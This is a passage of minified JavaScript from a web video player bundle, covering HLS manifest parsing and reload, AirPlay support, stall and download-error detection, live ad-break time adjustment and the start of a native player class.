t[u.DateRange].map(function(n){return{metadataType:r.MetadataType.DATERANGE,metadata:n,start:o.toSeconds(Date.parse(n.startDate)),end:o.toSeconds(Date.parse(n.endDate))}});case u.CustomTags:return[{metadataType:r.MetadataType.CUSTOM,metadata:t[u.CustomTags],start:f,end:f+t.duration}];default:return[]}}var l;Object.defineProperty(t,"__esModule",{value:!0});t.AbstractHlsManifestController=void 0;var u,f,a=i(18665),r=i(62510),v=i(54861),e=i(489),o=i(331),y=i(54838),s=i(91520),h=i(16368),c=i(76250);!function(n){n.CueTag="cueTag";n.Scte35="scte35";n.DateRange="dateRange";n.CustomTags="customTags"}(u||(u={}));l=function(){function n(n){var i,t=this;this.context=n;this.discontinuitySequences=[];this.onManifestMetadata=function(n){if(n.hasOwnProperty("metadata")){var i={metadataType:n.metadataType.toUpperCase(),metadata:n.metadata};(n.start||0===n.start)&&(i.start=n.start);n.end&&(i.end=n.end);t.context.eventHandler.dispatchEvent(r.PlayerEvent.Metadata,i)}};this.onTimeChangedHandler=function(n){var i=t.segmentTimelineController.getPlayingSegment(n.relativeTime||n.time);i&&!i.consumed&&(i.consumed=!0,t.triggerMetadata(i),t.triggerSegmentPlayback(i))};this.onTimeShiftedHandler=function(){t.segmentTimelineController.reset()};this.onSeeked=function(){t.segmentTimelineController.reset()};this.registerVariantPlaylist=function(n){var e,i=t.parsePlaylist(n.body),r=null===(e=t.parsedManifest.playlists)||void 0===e?void 0:e.find(function(t){return n.url.includes(t.uri)}),o,u,s,h,c;if(t.isValidVariantPlaylist(i)&&r&&(o=function(n){var i,r;return null!==(r=null===(i=t.parsedManifest.media)||void 0===i?void 0:i.some(function(t){return n.includes(t.attributes.URI||"")}))&&void 0!==r&&r},function(n){var i,r;return null!==(r=null===(i=t.parsedManifest.playlists)||void 0===i?void 0:i.some(function(t){return n.uri.includes(t.uri)&&!o(n.uri)}))&&void 0!==r&&r}(r)||function(n){var t,i;return null!==(i=null===(t=n.playlists)||void 0===t?void 0:t.every(function(n){return o(n.uri)}))&&void 0!==i&&i}(t.parsedManifest)))return t.segmentTimelineController.switchTimeline(r.id),f.extrapolateProgramDateTime(i.segments),t.discontinuitySequences=f.createDiscontinuitySequences(i,t.discontinuitySequences),u=function(n,t,i){for(var r,s,o,u=n.segments,h=u.some(function(n){return void 0!==n.dateTime}),e=0;e<u.length;e++)r=u[e],(r.variantPlaylistId=t,r.mediaSequenceNumber=n.mediaSequence+e,!h&&(null===(o=i.tweaks)||void 0===o?void 0:o.akamai_datetime_parsing))&&(s=f.getProgramDateTimeFromSegmentUrl(r.uri,r.duration),s&&(r.dateTime=s));return u}(i,r.id,t.config),t.metadataParsedService.expirationTimeInSeconds=t.segmentTimelineController.updateTimeline(r.id,u),s=t.segmentTimelineController.getCurrentTimeline(),Boolean(u[0].dateTime)&&(h=y.Util.timeInSeconds(u[0].dateTime),t.metadataService.removeUntil(h)),c=!(null==i?void 0:i.endList),t.triggerMetadataParsedEvents(s,c),i};f=s.ModuleManager.get(h.ModuleName.HLS).PlaylistUtils;this.settings=n.settings;this.config=n.config;this.eventHandler=n.eventHandler;this.originalManifest=null;this.metadataParsedService=n.serviceManager.get(a.ServiceName.MetadataParsedService);this.eventHandler.on(r.PlayerEvent.TimeChanged,this.onTimeChangedHandler);this.eventHandler.on(r.PlayerEvent.TimeShifted,this.onTimeShiftedHandler);this.eventHandler.on(r.PlayerEvent.Seeked,this.onSeeked);this.metadataService=new v.MetadataService(this.context,((i={})[e.TimedMetadataType.Manifest]=this.onManifestMetadata,i[e.TimedMetadataType.DateRange]=this.onManifestMetadata,i))}return n.prototype.triggerSegmentPlayback=function(n){var t={url:n.uri,uid:null,mimeType:"video/mp4",playbackTime:n.playbackTime,duration:n.duration,mediaInfo:{},dateTime:null};n.dateTime&&(t.dateTime=n.dateTime.toISOString());n.customTags&&n.customTags.length>0&&(t.EXPERIMENTAL=t.EXPERIMENTAL||{},t.EXPERIMENTAL.hlsAttributes=n.customTags.map(function(n){return n.attributes}));this.context.eventHandler.dispatchEvent(r.PlayerEvent.SegmentPlayback,t)},n.prototype.triggerMetadata=function(n){var t=this;n.metadata&&n.metadata.forEach(function(n){(function(n){return n.type.includes("CUE")})(n)?t.context.eventHandler.dispatchEvent(r.PlayerEvent.Metadata,{metadataType:r.MetadataType.CUETAG,metadata:n}):t.context.eventHandler.dispatchEvent(r.PlayerEvent.Metadata,{metadataType:n.type,metadata:n})})},n.prototype.resolveMasterManifest=function(n){return this.parsedManifest?Promise.resolve(this.manifestUrl):(this.manifestUrl=n,this.downloadMasterManifest(n))},n.prototype.registerMasterManifest=function(n,t){var i,r,f,u;return this.originalManifest=n.body,i=c.replaceManifestUrls(t,this.originalManifest,this.settings.QUERY_PARAMETERS),this.parsedManifest=this.parsePlaylist(i),r=this.isValidMasterPlaylist(this.parsedManifest),f=this.isValidVariantPlaylist(this.parsedManifest),!r&&f?(u="#EXTM3U\n#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=100000\n$VARIANT$\n".replace("$VARIANT$",t),i=c.replaceManifestUrls(t,u,this.settings.QUERY_PARAMETERS),this.originalManifest=u,this.parsedManifest=this.parsePlaylist(i)):r||(this.parsedManifest=null),i},n.prototype.isValidMasterPlaylist=function(n){return null!=n&&"playlists"in n&&n.playlists.length>0},n.prototype.isValidVariantPlaylist=function(n){return null!=n&&"segments"in n&&n.segments.length>0},n.prototype.parsePlaylist=function(n){var t=s.ModuleManager.get(h.ModuleName.HLS).parsePlaylist;try{return t(n)}catch(n){return null}},n.prototype.metadataToMetadataParsedEvent=function(n){return{metadataType:n.metadataType,metadata:n.metadata,data:n.metadata,start:n.start,end:n.end}},n.prototype.addMetadata=function(n){var t="DATERANGE"===n.metadataType?e.TimedMetadataType.DateRange:e.TimedMetadataType.Manifest;this.metadataService.addToMetadataParsedService(n.start,this.metadataToMetadataParsedEvent(n),"1");this.metadataService.addToTimeline(t,n.start,n)},n.prototype.triggerMetadataParsedEvents=function(n,t){var i=this;n.forEach(function(n){Object.values(u).forEach(function(r){n.hasOwnProperty(r)&&p(r,n,t).forEach(function(n){return i.addMetadata(n)})})})},n.prototype.parseTimelineEntries=function(n){var t=this.parsePlaylist(n);return this.isValidVariantPlaylist(t)?t.segments.map(function(n){var t;return{uri:n.uri,duration:n.duration,discontinuity:null!==(t=n.discontinuity)&&void 0!==t&&t,dateTime:null,metadata:[],consumed:!1,playbackTime:-1,keys:[]}}):[]},n.prototype.getPlaybackTimeOfFirstSegmentInTimeline=function(n){for(var u,t=0;t<n.length;t++)for(var f=n[t],e=0,i=0;i<f.timeline.length;i++){for(var o=f.timeline[i],s=this.segmentTimelineController.getCurrentTimeline(),r=0;r<s.length;r++)if(u=s[r],u.uri===o.uri)return u.playbackTime-e;e+=o.duration}return-1},n.prototype.getParsedManifest=function(){return this.parsedManifest},n.prototype.getManifest=function(){return this.originalManifest},n.prototype.detachEventHandlers=function(){this.eventHandler&&(this.eventHandler.off(r.PlayerEvent.TimeChanged,this.onTimeChangedHandler),this.eventHandler.off(r.PlayerEvent.TimeShifted,this.onTimeShiftedHandler),this.eventHandler.off(r.PlayerEvent.Seeked,this.onSeeked))},n.prototype.dispose=function(){this.detachEventHandlers();this.segmentTimelineController&&(this.segmentTimelineController.dispose(),this.segmentTimelineController=null);this.metadataService&&(this.metadataService.dispose(),this.metadataService=null);this.parsedManifest=null;this.originalManifest=null;this.manifestUrl=null;this.settings=null;this.config=null;this.eventHandler=null},n}();t.AbstractHlsManifestController=l},526:function(n,t,i){var u,f,r,e;Object.defineProperty(t,"__esModule",{value:!0});t.AppleAirplayService=t.isAirplaySupported=void 0;f=i(62510);r=i(46462);!function(n){n.Available="available";n.NotAvailable="not-available"}(u||(u={}));t.isAirplaySupported=function(){return Boolean(window.WebKitPlaybackTargetAvailabilityEvent)};e=function(){function n(n,t){var i=this;this.videoElement=n;this.eventHandler=t;this.airplayAvailable=!1;this.onWebkitPlaybackTargetAvailabilityChanged=function(n){switch(n.availability){case u.Available:i.airplayAvailable=!0;i.eventHandler.dispatchEvent(f.PlayerEvent.AirplayAvailable);break;case u.NotAvailable:i.airplayAvailable=!1}};this.onWebkitPlaybackTargetIsWirelessChanged=function(){i.eventHandler.dispatchEvent(f.PlayerEvent.AirplayChanged,{airplayEnabled:i.isAirplayActive(),time:i.videoElement.currentTime})};this.initAirplay()}return n.prototype.initAirplay=function(){this.videoElement.setAttribute("x-webkit-airplay","allow");this.videoElement.addEventListener(r.MediaElementEvent.webkitplaybacktargetavailabilitychanged,this.onWebkitPlaybackTargetAvailabilityChanged);this.videoElement.addEventListener(r.MediaElementEvent.webkitcurrentplaybacktargetiswirelesschanged,this.onWebkitPlaybackTargetIsWirelessChanged)},n.prototype.isAirplayAvailable=function(){return this.airplayAvailable},n.prototype.isAirplayActive=function(){return this.videoElement.isAirplayActive()},n.prototype.showAirplayTargetPicker=function(){this.isAirplayAvailable()&&(this.videoElement.webkitShowPlaybackTargetPicker(),this.eventHandler.dispatchEvent(f.PlayerEvent.ShowAirplayTargetPicker))},n.prototype.dispose=function(){this.videoElement.removeEventListener(r.MediaElementEvent.webkitplaybacktargetavailabilitychanged,this.onWebkitPlaybackTargetAvailabilityChanged);this.videoElement.removeEventListener(r.MediaElementEvent.webkitcurrentplaybacktargetiswirelesschanged,this.onWebkitPlaybackTargetIsWirelessChanged)},n}();t.AppleAirplayService=e},70661:function(n,t,i){var e=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}();Object.defineProperty(t,"__esModule",{value:!0});t.FallbackHlsManifestController=void 0;var u,o=i(63546),s=i(35148),h=i(62510),r=i(67345),c=i(331),l=i(91520),a=i(16368),v=i(77117),y=i(70539),p=i(9183),f=i(76250),w=function(n){function t(t){var i=n.call(this,t)||this;return i.onLoadPlaylistError=function(n){return i.context.logger.debug("Error while loading the playlist ",n),null},u=l.ModuleManager.get(a.ModuleName.HLS).PlaylistUtils,i.hlsDownloadService=new p.HlsDownloadService(i.context),i.segmentTimelineController=new y.FallbackSegmentTimelineController(t.videoElement),i}return e(t,n),t.prototype.init=function(){return Promise.resolve()},t.prototype.getDownloadedVideoData=function(){return{id:"not available",bitrate:0,height:0,width:0,isAuto:!0}},t.prototype.getPlayingVideoData=function(){return null},t.prototype.downloadMasterManifest=function(n){var t=this;return this.hlsDownloadService.downloadPlaylist(n,r.HttpRequestType.MANIFEST_HLS_MASTER).then(function(n){var i=t.registerMasterManifest(n,n.url),r=t.parsedManifest.playlists[0].uri;return t.registerFirstVariantPlaylist(r).then(function(r){return t.overrideManifestUrl(i,n.url,r)})})},t.prototype.registerFirstVariantPlaylist=function(n){var t=this;return this.hlsDownloadService.downloadPlaylist(n,r.HttpRequestType.MANIFEST_HLS_VARIANT).then(this.registerVariantPlaylist).then(function(i){return u.isLive(i)&&t.scheduleReload(i,n),i})},t.prototype.overrideManifestUrl=function(n,t,i){return"createObjectURL"in window.URL?this.getManifestUrl(n,i):(this.context.eventHandler.dispatchEvent(h.PlayerEvent.Warning,new o.PlayerWarning(s.WarningCode.SETUP_CREATE_OBJECT_URL_MISSING)),Promise.resolve(t))},t.prototype.getManifestUrl=function(n,t){var i=this;return u.isLive(t)?Promise.resolve(this.createDataUrlForManifest(n)):Promise.all(this.getMediaPlaylistPromises(n)).then(function(t){return t.filter(function(n){return Boolean(n)}).forEach(function(t){n=n.replace(t.mediaUrl,t.blobUrl)}),i.createDataUrlForManifest(n)})},t.prototype.getMediaPlaylistPromises=function(n){var t=this;return n.split("\n").map(function(n){return f.parseUrlFromLine(n)}).filter(function(n){return null!==n}).map(function(n){return t.getMediaPlaylistBlobUrlMapping(n)})},t.prototype.getMediaPlaylistBlobUrlMapping=function(n){var t=this;return this.hlsDownloadService.downloadPlaylist(n,r.HttpRequestType.MANIFEST_HLS_VARIANT).then(function(i){var r=f.replaceManifestUrls(n,i.body,t.settings.QUERY_PARAMETERS);return{blobUrl:t.createBlobForManifest(r),mediaUrl:n}}).catch(this.onLoadPlaylistError)},t.prototype.loadPlaylist=function(n){var t=this;return this.hlsDownloadService.downloadPlaylist(n.uri,r.HttpRequestType.MANIFEST_HLS_VARIANT).then(function(i){return{width:n.width,height:n.height,timeline:t.parseTimelineEntries(i.body)}}).catch(this.onLoadPlaylistError)},t.prototype.reload=function(n){var t=this;return function(){if(!t.hlsDownloadService)return function(){};t.hlsDownloadService.downloadPlaylist(n,r.HttpRequestType.MANIFEST_HLS_VARIANT,!1).then(t.registerVariantPlaylist).then(function(n){return u.isLive(n)&&t.scheduleReload(n,t.parsedManifest.playlists[0].uri),n}).catch(t.onLoadPlaylistError)}},t.prototype.scheduleReload=function(n,t){this.reloadTimerId=setTimeout(this.reload(t),c.toMilliSeconds(n.targetDuration))},t.prototype.createBlobForManifest=function(n){var t=new Blob([n],{type:"application/x-mpegURL"});return window.URL.createObjectURL(t)},t.prototype.createDataUrlForManifest=function(n){return"data:application/x-mpegURL,"+n.replace(/\n/g,"%0A").replace(/\r/g,"%0D")},t.prototype.getVariantPlaylistInfos=function(){return this.parsedManifest.playlists.map(function(n){return{uri:n.uri,width:n.attributes&&n.attributes.RESOLUTION?n.attributes.RESOLUTION.width:-1,height:n.attributes&&n.attributes.RESOLUTION?n.attributes.RESOLUTION.height:-1}})},t.prototype.loadAllVariantPlaylists=function(){var n=this,t=this.getVariantPlaylistInfos(),i;return t.reverse(),i=t.map(function(t){return n.loadPlaylist(t)}),Promise.all(i).then(function(t){var i=n.getPlaybackTimeOfFirstSegmentInTimeline(t);return i>=0&&t.forEach(function(n){n.timeline.reduce(function(n,t){return t.playbackTime=n,n+t.duration},i)}),t})},t.prototype.getCurrentSegments=function(n,t,i,r){return void 0===r&&(r=1),this.loadAllVariantPlaylists().then(function(u){var f=u.find(function(n){return n.width===t&&n.height===i});return function(n,t,i){for(var o,r,u,s=[],f=0,e=0;e<n.length;e++)for(o=n[e],f=0,r=0;r<o.timeline.length;r++)if(u=o.timeline[r],u.playbackTime+u.duration>=i&&(s.push(u.uri),f++),f>t)break;return s}(f?[f]:u,r,n)})},t.prototype.dispose=function(){n.prototype.dispose.call(this);clearTimeout(this.reloadTimerId);this.reloadTimerId=null},t}(v.AbstractHlsManifestController);t.FallbackHlsManifestController=w},70539:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.FallbackSegmentTimelineController=void 0;var r=i(68329),u=function(){function n(n){this.videoElement=n;this.shouldCalculatePlaybackTimeForLive=!0;this.timelines={}}return n.prototype.isLiveStream=function(){return this.videoElement.duration===1/0},n.prototype.switchTimeline=function(n){this.timelines[n]||(this.currentActiveTimelineId=n,this.timelines[n]=[])},n.prototype.updateTimeline=function(n,t){var f=this,o=this.timelines[n],i=r.updateTimeline(o,t),u=i.findIndex(function(n){return n.hasOwnProperty("playbackTime")}),e;return-1!==u&&r.populateCurrentTimelineWithPlaybackTime(i,u,i[u].playbackTime),this.timelines[n]=i,e=i.reduce(function(n,t){return f.isLiveStream()&&!f.shouldCalculatePlaybackTimeForLive||(t.playbackTime=n),n+t.duration},0),this.shouldCalculatePlaybackTimeForLive&&(this.shouldCalculatePlaybackTimeForLive=!1),e},n.prototype.getPlayingSegment=function(n){for(var r,i=this.getCurrentTimeline(),t=0;t<i.length;t++)if(r=i[t],n>=r.playbackTime&&n<=r.playbackTime+r.duration)return i[t];return null},n.prototype.addDownloadedSegments=function(){},n.prototype.getCurrentTimeline=function(){return this.timelines[this.currentActiveTimelineId]},n.prototype.getAllTimelines=function(){return this.timelines},n.prototype.reset=function(){this.timelines[this.currentActiveTimelineId].forEach(function(n){return n.consumed=!1})},n.prototype.dispose=function(){this.timelines={};this.videoElement=null},n}();t.FallbackSegmentTimelineController=u},69860:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.HlsDownloadErrorHandler=void 0;var f=i(25550),e=i(28764),o=i(88005),u=i(23234),s=i(67345),h=i(13533),r=i(46462),c=function(){function n(n,t){var i=this;this.fakeProgress=function(){for(var t=i.video.buffered,r="",n=0;n<t.length;n++)r+="".concat(t.start(n)," - ").concat(t.end(n),", ");r===i.lastProgressString?i.numProgressNotChanged++:i.numProgressNotChanged=0;i.numProgressNotChanged>=10&&i.onStalled();i.lastProgressString=r};this.fakeWaiting=function(){var n=u.TimingUtil.getHiResTimestamp(),t=!i.video.paused&&!i.video.seeking&&!i.video.ended;n-i.lastTimeUpdateTimeStamp>5&&t&&i.onWaiting()};this.onStalled=function(){i.stalledTimeStamp=u.TimingUtil.getHiResTimestamp();i.checkStalledState()};this.onProgress=function(){i.stalledTimeStamp=-1/0;clearTimeout(i.downloadErrorCheckTimeoutId)};this.onWaiting=function(){i.waitingEventTimeStamp=u.TimingUtil.getHiResTimestamp();i.checkStalledState()};this.onTimeUpdate=function(){i.waitingEventTimeStamp=-1/0;i.lastTimeUpdateTimeStamp=u.TimingUtil.getHiResTimestamp();clearTimeout(i.downloadErrorCheckTimeoutId)};this.checkForDownloadError=function(){if(0!==i.video.buffered.length){var t=i.video.currentTime,n=i.video.buffered.end(i.video.buffered.length-1),r=t<=n&&t+.5>n,u=i.video.paused,h=i.video.networkState===HTMLMediaElement.NETWORK_LOADING,c=i.video.videoWidth,l=i.video.videoHeight;!u&&r&&h&&i.manifestController.getCurrentSegments(n,c,l,2).then(function(n){var r=new o.DefaultContentLoader(i.context),t=function(i,u){return void 0===i&&(i=!0),n.length>0&&i?r.load(n.pop(),s.HttpRequestMethod.HEAD).then(function(n){return t(n.status>=200&&n.status<300,n)}):i?Promise.resolve():Promise.reject(u)};t().catch(function(n){var t=n.url,r=n.status,u=n.statusText;i.context.eventHandler.fireError(new e.PlayerError(f.ErrorCode.NETWORK_ERROR,{url:t,statusCode:r,statusText:u},"Failed to load segment ".concat(t,", statusCode: ").concat(r,", statusText: ").concat(u)))})})}};this.context=n;this.video=n.videoElement;this.manifestController=t;this.playbackAdvancing=!1;this.stalledTimeStamp=-1/0;this.waitingEventTimeStamp=-1/0;this.downloadErrorCheckTimeoutId=-1;this.lastProgressString="";this.numProgressNotChanged=0;this.lastTimeUpdateTimeStamp=-1/0;this.video.addEventListener(r.MediaElementEvent.waiting,this.onWaiting);this.video.addEventListener(r.MediaElementEvent.stalled,this.onStalled);this.video.addEventListener(r.MediaElementEvent.progress,this.onProgress);this.video.addEventListener(r.MediaElementEvent.timeupdate,this.onTimeUpdate);h.getCapabilities().isIOS&&(this.fakeEventsIntervalId=window.setInterval(function(){i.fakeProgress();i.fakeWaiting()},500))}return n.prototype.checkStalledState=function(){var n=Math.abs(this.waitingEventTimeStamp-this.stalledTimeStamp);clearTimeout(this.downloadErrorCheckTimeoutId);isFinite(n)&&(this.downloadErrorCheckTimeoutId=window.setTimeout(this.checkForDownloadError,1e3*(5-Math.min(5,n))))},n.prototype.dispose=function(){clearTimeout(this.fakeEventsIntervalId);clearTimeout(this.downloadErrorCheckTimeoutId);this.video.removeEventListener(r.MediaElementEvent.waiting,this.onWaiting);this.video.removeEventListener(r.MediaElementEvent.stalled,this.onStalled);this.video.removeEventListener(r.MediaElementEvent.progress,this.onProgress);this.video.removeEventListener(r.MediaElementEvent.timeupdate,this.onTimeUpdate);this.video=null;this.manifestController=null},n}();t.HlsDownloadErrorHandler=c},9183:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.HlsDownloadService=void 0;var u=i(63546),f=i(35148),e=i(62510),o=i(88005),r=i(67345),s=function(){function n(n){var t=this;this.useCredentialsForManifestRequests=!1;this.downloadFailureHandler=function(n){t.context.eventHandler.dispatchEvent(e.PlayerEvent.Warning,new u.PlayerWarning(f.WarningCode.NETWORK_COULD_NOT_LOAD_MANIFEST));t.context.logger.debug("Could not load manifest, got HTTP status code "+n.status)};this.context=n;this.init()}return n.prototype.init=function(){this.initCache();this.initUseCredentialsForManifest()},n.prototype.initCache=function(){this.requestCache={}},n.prototype.initUseCredentialsForManifest=function(){var n=this.context.sourceContext.source&&this.context.sourceContext.source.options||{};this.useCredentialsForManifestRequests="boolean"==typeof n.hlsManifestWithCredentials?n.hlsManifestWithCredentials:!0===n.manifestWithCredentials},n.prototype.downloadPlaylist=function(n,t,i){return void 0===i&&(i=!0),i&&this.requestCache.hasOwnProperty(n)?Promise.resolve(this.requestCache[n]):this.download(t,n)},n.prototype.download=function(n,t){var u=this,i=this.getContentLoader(n);return i.load(t,r.HttpRequestMethod.GET,r.HttpResponseType.TEXT,null,{},this.useCredentialsForManifestRequests).then(function(n){return i.dispose(),u.requestCache[t]=n,n}).catch(function(n){return i.dispose(),Promise.reject(n)})},n.prototype.getContentLoader=function(n){return new o.DefaultContentLoader(this.context,{onFailure:this.downloadFailureHandler,maxRetries:this.context.settings.MAX_MPD_RETRIES,requestType:n})},n.prototype.dispose=function(){},n}();t.HlsDownloadService=s},60012:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.HlsLiveNativeTimeTracker=void 0;var r=i(15539),e=i(331),u=i(54838),f=i(46462),o=function(){function n(n,t){this.nativePlayer=n;this.context=t;this.timeAdjustment=0;this.unloadTimestamp=null;this.startDate=null}return n.prototype.onUnload=function(n){n===r.ADVERTISING_ISSUER_NAME&&this.context.settings.RESUME_LIVE_CONTENT_AT_PREVIOUS_POSITION_AFTER_AD_BREAK&&null==this.unloadTimestamp&&(this.nativePlayer.isLive()?(this.unloadTimestamp=Date.now(),this.timeAdjustment=this.nativePlayer.getSeekableRange().start,this.startDate=this.nativePlayer.getStartDate()):this.reset())},n.prototype.reset=function(){this.unloadTimestamp=null;this.timeAdjustment=0;this.startDate=null},n.prototype.adjustTargetTime=function(n,t){var i=this;return t!==r.ADVERTISING_RESTORE_ISSUER_NAME||null==this.unloadTimestamp?(this.context.logger.debug("No adjustments are made",this.unloadTimestamp),Promise.resolve(n)):(null!=this.startDate?this.waitForStartDate():Promise.resolve(null)).then(function(t){var f,o,r;return null!=t?(i.context.logger.debug("StartDate progressed from ".concat(i.startDate," to: ").concat(t," during the ad")),f=u.Util.timeInSeconds(t)-u.Util.timeInSeconds(i.startDate),i.timeAdjustment=f):(i.context.logger.debug("Adjusting time based on seekable range"),o=e.toSeconds(Date.now()-i.unloadTimestamp),i.timeAdjustment+=o),r=n-i.timeAdjustment,i.context.logger.debug("Adjusting target time from ".concat(n," by ").concat(i.timeAdjustment," to ").concat(r)),i.reset(),r})},n.prototype.waitForStartDate=function(){var n=this,t=this.getValidDateTime();return t?Promise.resolve(t):new Promise(function(t){var r=null,i=function(){t(n.getValidDateTime());n.context.videoElement.removeEventListener(f.MediaElementEvent.loadeddata,i);clearTimeout(r)};n.context.logger.debug("Waiting for video.startDate to be valid");n.context.videoElement.addEventListener(f.MediaElementEvent.loadeddata,i);r=setTimeout(i,2e3)})},n.prototype.getValidDateTime=function(){var n=this.nativePlayer.getStartDate();return n&&!isNaN(n.getTime())?n:null},n}();t.HlsLiveNativeTimeTracker=o},91229:function(n,t,i){function f(n){var t=n.config.location&&n.config.location.serviceworker;return"serviceWorker"in navigator&&t&&r.ModuleManager.has(u.ModuleName.ServiceWorkerClient)}function e(n){var t=new s.FallbackHlsManifestController(n);return t.init().then(function(){return t})}Object.defineProperty(t,"__esModule",{value:!0});t.shouldUseServiceWorker=t.createHlsManifestController=void 0;var r=i(91520),u=i(16368),o=i(77117),s=i(70661);t.createHlsManifestController=function(n){if(f(n)){var t=new(r.ModuleManager.get(u.ModuleName.ServiceWorkerClient).createServiceWorkerHlsManifestController(o.AbstractHlsManifestController))(n);return t.init().then(function(){return t}).catch(function(){return e(n)})}return e(n)};t.shouldUseServiceWorker=f},76250:function(n,t,i){function e(n){if("#"!==n[0]&&n.trim().length>0)return n;if(n.indexOf("URI")>-1){var t=n.match(r);if(t&&t[1].indexOf("skd://")<0&&t[1].indexOf("skds://")<0)return t[1]}return null}function u(n,t,i){var r=f.URLHelper.concatBaseUrlWithPartial(n,t);return f.URLHelper.appendQueryParametersToUrl(r,i)}Object.defineProperty(t,"__esModule",{value:!0});t.replaceUrlAndAddUriParams=t.parseUrlFromLine=t.replaceManifestUrls=void 0;var f=i(76885),r=/URI="([^"]+)"/;t.replaceManifestUrls=function(n,t,i){var f=t.split(/\r?\n/);return f.forEach(function(t,o){var s=e(t),h;s&&t.match(r)?(h=u(n,s,i),f[o]=t.replace(r,function(){return'URI="'.concat(h,'"')})):s&&(f[o]=u(n,s,i))}),f.join("\n")};t.parseUrlFromLine=e;t.replaceUrlAndAddUriParams=u},42966:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.NativeModuleDefinition=void 0;var r=i(16368),u=i(72273),f=i(96926);t.NativeModuleDefinition={name:r.ModuleName.EngineNative,module:{NativePlayer:u.NativePlayer,technologyChecker:new f.TechnologyChecker}};t.default=t.NativeModuleDefinition},72273:function(n,t,i){function et(n,t){return(n<t.start||n>t.end)&&(n=Math.max(n,t.start),n=Math.min(n,t.end)),n}function ot(n){return n.length>0&&n.end(n.length-1)!==1/0}var o=this&&this.__assign||function(){return o=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},o.apply(this,arguments)},st=this&&this.__decorate||function(n,t,i,r){var f,e=arguments.length,u=e<3?t:null===r?r=Object.getOwnPropertyDescriptor(t,i):r,o;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)u=Reflect.decorate(n,t,i,r);else for(o=n.length-1;o>=0;o--)(f=n[o])&&(u=(e<3?f(u):e>3?f(t,i,u):f(t,i))||u);return e>3&&u&&Object.defineProperty(t,i,u),u};Object.defineProperty(t,"__esModule",{value:!0});t.NativePlayer=void 0;var b=i(92712),s=i(25550),v=i(28764),ht=i(63546),ct=i(35148),lt=i(18665),y=i(60997),u=i(62510),g=i(57620),e=i(15539),nt=i(88005),at=i(16937),f=i(33696),vt=i(17990),tt=i(58975),h=i(13533),yt=i(3464),c=i(81361),k=i(43485),pt=i(10981),wt=i(79814),l=i(331),bt=i(70016),it=i(76885),rt=i(54838),kt=i(61878),r=i(46462),d=i(91520),p=i(16368),ut=i(526),dt=i(69860),gt=i(60012),ft=i(91229),ni=i(55194),a="not available",w=.75,ti=function(){function n(n){var t=this;this.numTimeChanged=0;this.loaded=!1;this.audio=null;this.ended=!1;this.ignoreNextVideoError=!1;this.controlPermitted=!0;this.seekingTimeoutId=-1;this.nativeSeekCalled=!1;this.isIllicitlySeeking=!1;this.ignoreNextDelta=!1;this.numSeekingCalled=0;this.currentDuration=-1;this.timeShiftJumpStartPosition=-1;this.seekTargetTime=-1;this.textTrackController=null;this.lastPlayIssuer="api";this.lastPauseIssuer="api";this.lastSeekIssuer="api";this.sourceLoadRetryCount=0;this.lastVerifiedPlaybackPosition=-1;this.lastLegalPlaybackPosition=0;this.restrictedInlinePlayback=!1;this.lastTime=0;this.availableVideoStreams=[];this.allowedToThrowEvents=!0;this.hasSourceBeenLoaded=!1;this.hasDataBeenLoaded=!1;this.sourceElementEventListeners=[];this.restoringPlaybackPosAfterQualitySwitch=!1;this.isInitialSeek=!1;this.lastDelayedSeekHandlers={};this.isProgressiveQualityChange=!1;this.onAddTrack=function(n){if(t.isReady()){var i=n.track;t.eventCallback(u.PlayerEvent.AudioAdded,{track:t.convertAudioTrackNativeToApi(i)});i.enabled&&t.loaded&&t.dispatchAudioChangedEvent(null,i)}};this.onRemoveTrack=function(n){t.isReady()&&t.eventCallback(u.PlayerEvent.AudioRemoved,{track:t.convertAudioTrackNativeToApi(n.track)})};this.onWebkitPresentationModeChanged=function(){var n,i,r=t.video.getViewModeFromPresentationMode();r===f.ViewMode.PictureInPicture||r===f.ViewMode.Fullscreen&&h.getCapabilities().isIOS?null===(n=t.textTrackController)||void 0===n||n.enableNative():null===(i=t.textTrackController)||void 0===i||i.disableNative();t.context.store.dispatch(vt.setPlayerViewMode(r))};this.onDurationChange=function(){g.maybeFireDurationChangedEvent(t.lastDuration,t.getDuration(),t.eventHandler);t.lastDuration=t.getDuration();t.hasDataBeenLoaded&&t.maybeResolveDeferredLoading()};this.videoOnPlay=function(){t.stateManager.stallExit();t.restrictedInlinePlayback&&t.audio&&t.setVideoTime();t.ended=!1;t.stateManager.transitionToPlayState(!0,t.lastPlayIssuer)};this.videoOnPlaying=function(){t.stateManager.isStalled?(t.stateManager.stallExit(),t.stateManager.transitionToPlayingState(t.lastPlayIssuer)):t.stateManager.isStopped()?t.onPlaybackStarted():t.stateManager.isPlaying()||(t.stateManager.transitionToPlayState(!0,t.lastPlayIssuer),t.stateManager.transitionToPlayingState(t.lastPlayIssuer))};this.loadedDataHandler=function(){clearTimeout(t.loadedDataFallbackTimeoutID);t.hasSourceBeenLoaded||clearTimeout(t.loadTimeoutID);t.hasSourceBeenLoaded=!0;t.isProgressiveQualityChange=!1;t.allowedToThrowEvents=!0;t.hasDataBeenLoaded=!0;t.maybeResolveDeferredLoading()};this.eventCallback=function(n,i,r,u){void 0===i&&(i={});void 0===r&&(r=!1);void 0===u&&(u=!1);t.eventHandler&&(t.allowedToThrowEvents||r)&&t.eventHandler.dispatchEvent(n,i,u)};this.onTimeUpdate=function(){var 